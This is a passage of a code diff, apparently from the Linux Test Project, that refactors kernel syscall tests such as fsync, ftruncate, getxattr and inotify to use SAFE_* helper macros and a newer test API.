  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ *    AUTHOR		: William Roske
+ *    CO-PILOT		: Dave Fenner
  *
  * This program is free software; you can redistribute it and/or modify it
  * under the terms of version 2 of the GNU General Public License as
@@ -30,149 +32,52 @@
  * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
  *
  */
-/* $Id: fsync01.c,v 1.6 2009/10/26 14:55:47 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: fsync01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for fsync(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) fsync(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the fsync(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	fsync(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/statfs.h>
+#include <unistd.h>
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
+#include <stdio.h>
 
-void setup();
-void cleanup();
+#include "tst_test.h"
 
-char *TCID = "fsync01";
-int TST_TOTAL = 1;
+static char fname[255];
+static int fd;
+#define BUF "davef"
 
-char fname[255];
-int fd;
-char *buf = "davef";
-
-int main(int ac, char **av)
+static void verify_fsync(void)
 {
-	int lc;
+	unsigned int i;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	for (i = 0; i < 10; i++) {
+		SAFE_WRITE(1, fd, BUF, sizeof(BUF));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		if (write(fd, buf, strlen(buf)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "write failed");
 		TEST(fsync(fd));
 
 		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO, "fsync failed");
+			tst_res(TFAIL | TTERRNO, "fsync failed");
 		else
-			tst_resm(TPASS, "fsync returned %ld", TEST_RETURN);
-
+			tst_res(TPASS, "fsync() returned %ld", TEST_RETURN);
 	}
-
-	cleanup();
-	tst_exit();
 }
 
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
+	sprintf(fname, "mntpoint/tfile_%d", getpid());
+	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	if (close(fd) == -1)
-		tst_resm(TWARN, "close failed");
-
-	tst_rmdir();
-
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.cleanup = cleanup,
+	.setup = setup,
+	.test_all = verify_fsync,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = "mntpoint",
+	.all_filesystems = 1,
+};
diff --git a/testcases/kernel/syscalls/fsync/fsync02.c b/testcases/kernel/syscalls/fsync/fsync02.c
index 2673edc..1e5f9ee 100644
--- a/testcases/kernel/syscalls/fsync/fsync02.c
+++ b/testcases/kernel/syscalls/fsync/fsync02.c
@@ -53,6 +53,7 @@
 #include <errno.h>
 #include <sys/resource.h>
 #include "test.h"
+#include "safe_macros.h"
 #include <time.h>
 
 #define BLOCKSIZE 8192
@@ -138,8 +139,7 @@
 			tst_resm(TPASS, "fsync succeeded in an "
 				 "acceptable amount of time");
 
-		if (ftruncate(fd, 0) == -1)
-			tst_brkm(TBROK, cleanup, "ftruncate failed");
+		SAFE_FTRUNCATE(cleanup, fd, 0);
 	}
 
 	sync();
diff --git a/testcases/kernel/syscalls/fsync/fsync03.c b/testcases/kernel/syscalls/fsync/fsync03.c
index 87c4e5a..60d15f4 100644
--- a/testcases/kernel/syscalls/fsync/fsync03.c
+++ b/testcases/kernel/syscalls/fsync/fsync03.c
@@ -47,6 +47,7 @@
 #include <unistd.h>
 #include <errno.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup(void);
 void cleanup(void);
@@ -122,9 +123,7 @@
 	/* make a temporary directory and cd to it */
 	tst_tmpdir();
 
-	if (pipe(fd) < 0) {
-		tst_brkm(TBROK, cleanup, "pipe call failed");
-	}
+	SAFE_PIPE(cleanup, fd);
 
 	pfd = fd[1];
 }
diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate01.c b/testcases/kernel/syscalls/ftruncate/ftruncate01.c
index 3bbae0a..3309af5 100644
--- a/testcases/kernel/syscalls/ftruncate/ftruncate01.c
+++ b/testcases/kernel/syscalls/ftruncate/ftruncate01.c
@@ -75,6 +75,7 @@
 #include <inttypes.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TESTFILE	"testfile"	/* file under test */
 #define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
@@ -170,11 +171,7 @@
 	}
 
 	/* open a file for reading/writing */
-	fildes = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
-	if (fildes == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %o) failed",
-			 TESTFILE, FILE_MODE);
+	fildes = SAFE_OPEN(cleanup, TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
 
 	/* Write to the file 1k data from the buffer */
 	while (c_total < FILE_SIZE) {
diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate02.c b/testcases/kernel/syscalls/ftruncate/ftruncate02.c
index 77f40e2..bc03075 100644
--- a/testcases/kernel/syscalls/ftruncate/ftruncate02.c
+++ b/testcases/kernel/syscalls/ftruncate/ftruncate02.c
@@ -75,6 +75,7 @@
 #include <signal.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TESTFILE	"testfile"	/* file under test */
 #define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
@@ -253,11 +254,7 @@
 		tst_buff[i] = 'a';
 	}
 	/* open a file for reading/writing */
-	fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
-	if (fd == -1)
-		tst_brkm(TBROK, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %o) failed",
-			 TESTFILE, FILE_MODE);
+	fd = SAFE_OPEN(cleanup, TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
 
 	/* Write to the file 1k data from the buffer */
 	while (write_len < FILE_SIZE) {
diff --git a/testcases/kernel/syscalls/futex/futex_wait05.c b/testcases/kernel/syscalls/futex/futex_wait05.c
index f6b0aa1..066944f 100644
--- a/testcases/kernel/syscalls/futex/futex_wait05.c
+++ b/testcases/kernel/syscalls/futex/futex_wait05.c
@@ -52,6 +52,6 @@
 }
 
 static struct tst_test test = {
-	.tid = "futex_wait()",
+	.scall = "futex_wait()",
 	.sample = sample_fn,
 };
diff --git a/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c b/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c
index cca5028..a1b9e43 100644
--- a/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c
+++ b/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c
@@ -57,6 +57,7 @@
 #if HAVE_NUMAIF_H
 #include <numaif.h>
 #endif
+
 #include "test.h"
 #include "lapi/syscalls.h"
 #include "include_j_h.h"
@@ -66,7 +67,7 @@
 char *TCID = "get_mempolicy01";
 int TST_TOTAL = 1;
 
-#if HAVE_NUMA_H && HAVE_NUMAIF_H && HAVE_MPOL_CONSTANTS
+#ifdef HAVE_NUMA_V2
 
 #define MEM_LENGTH	(4 * 1024 * 1024)
 
@@ -221,13 +222,8 @@
 {
 	int ret, err, result, cmp_ok;
 	int policy, flags;
-#if !defined(LIBNUMA_API_VERSION) || LIBNUMA_API_VERSION < 2
-	nodemask_t *nodemask, *getnodemask;
-	unsigned long maxnode = NUMA_NUM_NODES;
-#else
 	struct bitmask *nodemask = numa_allocate_nodemask();
 	struct bitmask *getnodemask = numa_allocate_nodemask();
-#endif
 	char *p = NULL;
 	unsigned long len = MEM_LENGTH;
 	int test_node = -1;
@@ -235,15 +231,7 @@
 	ret = get_allowed_nodes(NH_MEMS, 1, &test_node);
 	if (ret < 0)
 		tst_brkm(TBROK | TERRNO, cleanup, "get_allowed_nodes: %d", ret);
-#if !defined(LIBNUMA_API_VERSION) || LIBNUMA_API_VERSION < 2
-	nodemask = malloc(sizeof(nodemask_t));
-	nodemask_zero(nodemask);
-	nodemask_set(nodemask, test_node);
-	getnodemask = malloc(sizeof(nodemask_t));
-	nodemask_zero(getnodemask);
-#else
 	numa_bitmask_setbit(nodemask, test_node);
-#endif
 	switch (tc->ttype) {
 	case DEFAULT:
 		flags = 0;
@@ -252,13 +240,8 @@
 			TEST(ltp_syscall(__NR_set_mempolicy, tc->policy,
 				NULL, 0));
 		else
-#if !defined(LIBNUMA_API_VERSION) || LIBNUMA_API_VERSION < 2
-			TEST(ltp_syscall(__NR_set_mempolicy, tc->policy,
-				nodemask, maxnode));
-#else
 			TEST(ltp_syscall(__NR_set_mempolicy, tc->policy,
 				nodemask->maskp, nodemask->size));
-#endif
 		if (TEST_RETURN < 0) {
 			tst_resm(TBROK | TERRNO, "set_mempolicy");
 			return -1;
@@ -275,13 +258,8 @@
 			TEST(ltp_syscall(__NR_mbind, p, len, tc->policy,
 				NULL, 0, 0));
 		else
-#if !defined(LIBNUMA_API_VERSION) || LIBNUMA_API_VERSION < 2
-			TEST(ltp_syscall(__NR_mbind, p, len, tc->policy,
-				nodemask, maxnode, 0));
-#else
 			TEST(ltp_syscall(__NR_mbind, p, len, tc->policy,
 				nodemask->maskp, nodemask->size, 0));
-#endif
 		if (TEST_RETURN < 0) {
 			tst_resm(TBROK | TERRNO, "mbind");
 			return -1;
@@ -299,30 +277,18 @@
 	}
 	errno = 0;
 	cmp_ok = 1;
-#if !defined(LIBNUMA_API_VERSION) || LIBNUMA_API_VERSION < 2
-	TEST(ret = ltp_syscall(__NR_get_mempolicy, &policy, getnodemask,
-			   maxnode, p, flags));
-#else
 	TEST(ret = ltp_syscall(__NR_get_mempolicy, &policy, getnodemask->maskp,
 			   getnodemask->size, p, flags));
-#endif
 	err = TEST_ERRNO;
 	if (ret < 0)
 		goto TEST_END;
 
 	/* if policy == MPOL_DEFAULT, get_mempolicy doesn't return nodemask */
 	if (tc->policy == MPOL_DEFAULT)
-#if !defined(LIBNUMA_API_VERSION) || LIBNUMA_API_VERSION < 2
-		nodemask_zero(nodemask);
-	cmp_ok = (tc->policy == policy && (tc->from_node == NONE ||
-					   nodemask_equal(nodemask,
-							  getnodemask)));
-#else
 		numa_bitmask_clearall(nodemask);
 	cmp_ok = (tc->policy == policy && (tc->from_node == NONE ||
 					   numa_bitmask_equal(nodemask,
 							      getnodemask)));
-#endif
 TEST_END:
 	result = (err != tc->err) || !cmp_ok;
 	PRINT_RESULT_CMP(0, tc->ret, tc->err, ret, err, cmp_ok);
@@ -345,9 +311,10 @@
 	TEST_PAUSE;
 	tst_tmpdir();
 }
+
 #else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "System doesn't have required numa support");
+	tst_brkm(TCONF, NULL, "test requires libnuma >= 2 and it's development packages");
 }
 #endif
diff --git a/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c b/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c
index 6aa776f..222dc6f 100644
--- a/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c
+++ b/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c
@@ -51,6 +51,7 @@
 #include <stdlib.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/syscalls.h"
 
 char *TCID = "get_robust_list01";
@@ -156,8 +157,7 @@
 			tst_resm(TFAIL | TTERRNO,
 				 "get_robust_list failed unexpectedly");
 
-		if (setuid(1) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "setuid(1) failed");
+		SAFE_SETUID(cleanup, 1);
 
 		TEST(ltp_syscall(__NR_get_robust_list, 1,
 				      (struct robust_list_head *)&head,
diff --git a/testcases/kernel/syscalls/getcwd/getcwd01.c b/testcases/kernel/syscalls/getcwd/getcwd01.c
index 7810c0f..1199e9f 100644
--- a/testcases/kernel/syscalls/getcwd/getcwd01.c
+++ b/testcases/kernel/syscalls/getcwd/getcwd01.c
@@ -75,7 +75,6 @@
 }
 
 static struct tst_test test = {
-	.tid = "getcwd01",
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_getcwd
 };
diff --git a/testcases/kernel/syscalls/getdents/getdents01.c b/testcases/kernel/syscalls/getdents/getdents01.c
index 4dadd4b..3962d96 100644
--- a/testcases/kernel/syscalls/getdents/getdents01.c
+++ b/testcases/kernel/syscalls/getdents/getdents01.c
@@ -154,8 +154,7 @@
 
 		} while (rval > 0);
 
-		if (close(fd) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "Directory close failed");
+		SAFE_CLOSE(cleanup, fd);
 	
 		check_flags();
 	}
diff --git a/testcases/kernel/syscalls/getdents/getdents02.c b/testcases/kernel/syscalls/getdents/getdents02.c
index 2c019e5..7b023c5 100644
--- a/testcases/kernel/syscalls/getdents/getdents02.c
+++ b/testcases/kernel/syscalls/getdents/getdents02.c
@@ -179,10 +179,7 @@
 	SAFE_MKDIR(cleanup, TEST_DIR, DIR_MODE);
 
 	fd = SAFE_OPEN(cleanup, TEST_DIR, O_DIRECTORY);
-	if (rmdir(TEST_DIR) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "rmdir(%s) failed", TEST_DIR);
-	}
+	SAFE_RMDIR(cleanup, TEST_DIR);
 
 	if (longsyscall)
 		getdents64(fd, &dir64, sizeof(dir64));
diff --git a/testcases/kernel/syscalls/getdtablesize/getdtablesize01.c b/testcases/kernel/syscalls/getdtablesize/getdtablesize01.c
index 7ee231a..d25cac2 100644
--- a/testcases/kernel/syscalls/getdtablesize/getdtablesize01.c
+++ b/testcases/kernel/syscalls/getdtablesize/getdtablesize01.c
@@ -54,7 +54,7 @@
 
 int main(void)
 {
-	int table_size, loop, fd, count = 0;
+	int table_size, fd = 0, count = 0;
 	int max_val_opfiles;
 	struct rlimit rlp;
 
@@ -80,15 +80,16 @@
 
 	tst_resm(TINFO,
 		 "Checking Max num of files that can be opened by a process.Should be: RLIMIT_NOFILE - 1");
-	for (loop = 1; loop <= max_val_opfiles; loop++) {
+	for (;;) {
 		fd = open("/etc/hosts", O_RDONLY);
+
+		if (fd == -1)
+			break;
+		count = fd;
+
 #ifdef DEBUG
 		printf("Opened file num %d\n", fd);
 #endif
-		if (fd == -1)
-			break;
-		else
-			count = fd;
 	}
 
 //Now the max files opened should be RLIMIT_NOFILE - 1 , why ? read getdtablesize man page
@@ -97,6 +98,8 @@
 		close(count);
 	if (count == (max_val_opfiles - 1))
 		tst_resm(TPASS, "%d = %d", count, (max_val_opfiles - 1));
+	else if (fd < 0 && errno == ENFILE)
+		tst_brkm(TCONF, cleanup, "Reached maximum number of open files for the system");
 	else
 		tst_resm(TFAIL, "%d != %d", count, (max_val_opfiles - 1));
 
diff --git a/testcases/kernel/syscalls/getpeername/getpeername01.c b/testcases/kernel/syscalls/getpeername/getpeername01.c
index fd5d58d..817cd38 100644
--- a/testcases/kernel/syscalls/getpeername/getpeername01.c
+++ b/testcases/kernel/syscalls/getpeername/getpeername01.c
@@ -153,11 +153,8 @@
 		tst_brkm(TBROK | TERRNO, cleanup,
 			 "socket setup failed for getpeername test %d", i);
 	}
-	if (bind(test_cases[i].sockfd, (struct sockaddr *)&server_addr,
-		 sizeof(server_addr)) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "socket bind failed for getpeername test %d", i);
-	}
+	SAFE_BIND(cleanup, test_cases[i].sockfd,
+		  (struct sockaddr *)&server_addr, sizeof(server_addr));
 }
 
 static void setup4(int i)
diff --git a/testcases/kernel/syscalls/getpid/getpid02.c b/testcases/kernel/syscalls/getpid/getpid02.c
index 8a4197b..6c44ea9 100644
--- a/testcases/kernel/syscalls/getpid/getpid02.c
+++ b/testcases/kernel/syscalls/getpid/getpid02.c
@@ -71,6 +71,7 @@
 #include <sys/wait.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();			/* Main setup function of test */
 void cleanup();			/* cleanup function for the test */
@@ -107,9 +108,7 @@
 				exit(1);
 			exit(0);
 		} else {
-			if (wait(&status) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "wait failed");
+			SAFE_WAIT(cleanup, &status);
 			if (!WIFEXITED(status) ||
 			    WEXITSTATUS(status) != 0)
 				tst_resm(TFAIL, "getpid() returned "
diff --git a/testcases/kernel/syscalls/getppid/getppid02.c b/testcases/kernel/syscalls/getppid/getppid02.c
index 60181e9..ae3c8eb 100644
--- a/testcases/kernel/syscalls/getppid/getppid02.c
+++ b/testcases/kernel/syscalls/getppid/getppid02.c
@@ -44,6 +44,7 @@
 #include <err.h>
 #include <errno.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "getppid02";
 int TST_TOTAL = 1;
@@ -81,9 +82,7 @@
 				       "value match\n");
 			exit(0);
 		} else {
-			if (wait(&status) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "wait failed");
+			SAFE_WAIT(cleanup, &status);
 			if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 				tst_resm(TFAIL,
 					 "getppid functionality incorrect");
diff --git a/testcases/kernel/syscalls/getrusage/getrusage03.c b/testcases/kernel/syscalls/getrusage/getrusage03.c
index 54cdc83..125acfc 100644
--- a/testcases/kernel/syscalls/getrusage/getrusage03.c
+++ b/testcases/kernel/syscalls/getrusage/getrusage03.c
@@ -112,8 +112,7 @@
 		break;
 	}
 
-	if (waitpid(pid, &status, WUNTRACED | WCONTINUED) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
 	check_return(WEXITSTATUS(status), "initial.self ~= child.self",
 		     "initial.self !~= child.self");
 }
@@ -142,8 +141,7 @@
 		break;
 	}
 
-	if (waitpid(pid, &status, WUNTRACED | WCONTINUED) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
 	check_return(WEXITSTATUS(status), "child.children == 0",
 		     "child.children != 0");
 }
@@ -171,8 +169,7 @@
 		break;
 	}
 
-	if (waitpid(pid, &status, WUNTRACED | WCONTINUED) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
 	check_return(WEXITSTATUS(status), "initial.self + 50MB ~= child.self",
 		     "initial.self + 50MB !~= child.self");
 }
@@ -198,8 +195,7 @@
 		break;
 	}
 
-	if (waitpid(pid, &status, WUNTRACED | WCONTINUED) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
 	if (WEXITSTATUS(status) != 0)
 		tst_brkm(TBROK | TERRNO, cleanup, "child exit status is not 0");
 
@@ -241,8 +237,7 @@
 	else
 		tst_resm(TFAIL, "initial.children !~= pre_wait.children");
 
-	if (waitpid(pid, &status, WUNTRACED | WCONTINUED) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+	SAFE_WAITPID(cleanup, pid, &status, WUNTRACED | WCONTINUED);
 	if (WEXITSTATUS(status) != 0)
 		tst_brkm(TBROK | TERRNO, cleanup, "child exit status is not 0");
 
diff --git a/testcases/kernel/syscalls/getsockname/getsockname01.c b/testcases/kernel/syscalls/getsockname/getsockname01.c
index c4b6e9b..cce1543 100644
--- a/testcases/kernel/syscalls/getsockname/getsockname01.c
+++ b/testcases/kernel/syscalls/getsockname/getsockname01.c
@@ -52,6 +52,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "getsockname01";
 int testno;
@@ -167,15 +168,9 @@
 
 void setup1(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed for getsockname "
-			 "test %d: %s", testno, strerror(errno));
-	}
-	if (bind(s, (struct sockaddr *)&sin0, sizeof(sin0)) < 0) {
-		tst_brkm(TBROK, cleanup, "socket bind failed for getsockname "
-			 "test %d: %s", testno, strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
+	SAFE_BIND(cleanup, s, (struct sockaddr *)&sin0, sizeof(sin0));
 	sinlen = sizeof(fsin1);
 }
 
diff --git a/testcases/kernel/syscalls/getsockopt/getsockopt01.c b/testcases/kernel/syscalls/getsockopt/getsockopt01.c
index 1195306..d1692fc 100644
--- a/testcases/kernel/syscalls/getsockopt/getsockopt01.c
+++ b/testcases/kernel/syscalls/getsockopt/getsockopt01.c
@@ -52,6 +52,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "getsockopt01";
 int testno;
@@ -193,15 +194,9 @@
 
 void setup1(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed for getsockopt: "
-			 "%s", strerror(errno));
-	}
-	if (bind(s, (struct sockaddr *)&sin0, sizeof(sin0)) < 0) {
-		tst_brkm(TBROK, cleanup, "socket bind failed for getsockopt: "
-			 "%s", strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
+	SAFE_BIND(cleanup, s, (struct sockaddr *)&sin0, sizeof(sin0));
 	sinlen = sizeof(fsin1);
 	optlen = sizeof(optval);
 }
diff --git a/testcases/kernel/syscalls/getxattr/getxattr01.c b/testcases/kernel/syscalls/getxattr/getxattr01.c
index 8c09aa8..be410a5 100644
--- a/testcases/kernel/syscalls/getxattr/getxattr01.c
+++ b/testcases/kernel/syscalls/getxattr/getxattr01.c
@@ -48,6 +48,7 @@
 # include <sys/xattr.h>
 #endif
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "getxattr01";
 
@@ -142,10 +143,7 @@
 
 	/* Create test file and setup initial xattr */
 	snprintf(filename, BUFSIZ, "getxattr01testfile");
-	fd = creat(filename, 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create test file(%s) failed",
-			 filename);
+	fd = SAFE_CREAT(cleanup, filename, 0644);
 	close(fd);
 	if (setxattr(filename, XATTR_TEST_KEY, XATTR_TEST_VALUE,
 		     strlen(XATTR_TEST_VALUE), XATTR_CREATE) == -1) {
diff --git a/testcases/kernel/syscalls/getxattr/getxattr02.c b/testcases/kernel/syscalls/getxattr/getxattr02.c
index df75fb3..dca6b13 100644
--- a/testcases/kernel/syscalls/getxattr/getxattr02.c
+++ b/testcases/kernel/syscalls/getxattr/getxattr02.c
@@ -54,6 +54,7 @@
 # include <sys/xattr.h>
 #endif
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "getxattr02";
 
@@ -126,9 +127,7 @@
 	tst_tmpdir();
 
 	/* Test for xattr support */
-	fd = creat("testfile", 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create testfile failed");
+	fd = SAFE_CREAT(cleanup, "testfile", 0644);
 	close(fd);
 	if (setxattr("testfile", "user.test", "test", 4, XATTR_CREATE) == -1)
 		if (errno == ENOTSUP)
diff --git a/testcases/kernel/syscalls/getxattr/getxattr03.c b/testcases/kernel/syscalls/getxattr/getxattr03.c
index 06c9934..b6ea142 100644
--- a/testcases/kernel/syscalls/getxattr/getxattr03.c
+++ b/testcases/kernel/syscalls/getxattr/getxattr03.c
@@ -42,6 +42,7 @@
 # include <sys/xattr.h>
 #endif
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "getxattr03";
 
@@ -88,9 +89,7 @@
 	tst_tmpdir();
 
 	/* Test for xattr support and set attr value */
-	fd = creat(TESTFILE, 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create %s failed", TESTFILE);
+	fd = SAFE_CREAT(cleanup, TESTFILE, 0644);
 	close(fd);
 
 	if (setxattr(TESTFILE, XATTR_TEST_KEY, XATTR_TEST_VALUE,
diff --git a/testcases/kernel/syscalls/inotify/inotify.h b/testcases/kernel/syscalls/inotify/inotify.h
index ac731bc..a364e14 100644
--- a/testcases/kernel/syscalls/inotify/inotify.h
+++ b/testcases/kernel/syscalls/inotify/inotify.h
@@ -32,16 +32,16 @@
 
 #if __NR_inotify_init != __LTP__NR_INVALID_SYSCALL
 #define	myinotify_init() \
-	syscall(__NR_inotify_init)
+	ltp_syscall(__NR_inotify_init)
 #else
 #define	myinotify_init() \
-	syscall(__NR_inotify_init1, 0)
+	ltp_syscall(__NR_inotify_init1, 0)
 #endif
 
 #define	myinotify_add_watch(fd, pathname, mask)	\
-	syscall(__NR_inotify_add_watch, fd, pathname, mask)
+	ltp_syscall(__NR_inotify_add_watch, fd, pathname, mask)
 
 #define	myinotify_rm_watch(fd, wd) \
-	syscall(__NR_inotify_rm_watch, fd, wd)
+	ltp_syscall(__NR_inotify_rm_watch, fd, wd)
 
 #endif /* _INOTIFY_H */
diff --git a/testcases/kernel/syscalls/inotify/inotify01.c b/testcases/kernel/syscalls/inotify/inotify01.c
index 7f08a8f..8a471ae 100644
--- a/testcases/kernel/syscalls/inotify/inotify01.c
+++ b/testcases/kernel/syscalls/inotify/inotify01.c
@@ -38,6 +38,7 @@
 #include <string.h>
 #include <sys/syscall.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/syscalls.h"
 #include "inotify.h"
 
@@ -80,10 +81,7 @@
 		/*
 		 * generate sequence of events
 		 */
-		if (chmod(fname, 0755) < 0) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "chmod(%s, 0755) failed", fname);
-		}
+		SAFE_CHMOD(cleanup, fname, 0755);
 		event_set[tst_count] = IN_ATTRIB;
 		tst_count++;
 
@@ -101,9 +99,7 @@
 		event_set[tst_count] = IN_ACCESS;
 		tst_count++;
 
-		if (close(fd) == -1) {
-			tst_brkm(TBROK, cleanup, "close(%s) failed", fname);
-		}
+		SAFE_CLOSE(cleanup, fd);
 		event_set[tst_count] = IN_CLOSE_NOWRITE;
 		tst_count++;
 
@@ -121,9 +117,7 @@
 		event_set[tst_count] = IN_MODIFY;
 		tst_count++;
 
-		if (close(fd) == -1) {
-			tst_brkm(TBROK, cleanup, "close(%s) failed", fname);
-		}
+		SAFE_CLOSE(cleanup, fd);
 		event_set[tst_count] = IN_CLOSE_WRITE;
 		tst_count++;
 
@@ -212,9 +206,7 @@
 	}
 
 	/* close the file we have open */
-	if (close(fd) == -1) {
-		tst_brkm(TBROK, cleanup, "close(%s) failed", fname);
-	}
+	SAFE_CLOSE(cleanup, fd);
 	if ((fd_notify = myinotify_init()) < 0) {
 		if (errno == ENOSYS) {
 			tst_brkm(TCONF, cleanup,
diff --git a/testcases/kernel/syscalls/inotify/inotify02.c b/testcases/kernel/syscalls/inotify/inotify02.c
index 9913426..4a1036a 100644
--- a/testcases/kernel/syscalls/inotify/inotify02.c
+++ b/testcases/kernel/syscalls/inotify/inotify02.c
@@ -40,6 +40,7 @@
 #include <sys/syscall.h>
 #include <limits.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/syscalls.h"
 #include "inotify.h"
 
@@ -94,10 +95,7 @@
 		/*
 		 * generate sequence of events
 		 */
-		if (chmod(".", 0755) < 0) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "chmod(\".\", 0755) failed");
-		}
+		SAFE_CHMOD(cleanup, ".", 0755);
 		event_set[tst_count].mask = IN_ISDIR | IN_ATTRIB;
 		strcpy(event_set[tst_count].name, "");
 		tst_count++;
@@ -114,19 +112,12 @@
 		strcpy(event_set[tst_count].name, FILE_NAME1);
 		tst_count++;
 
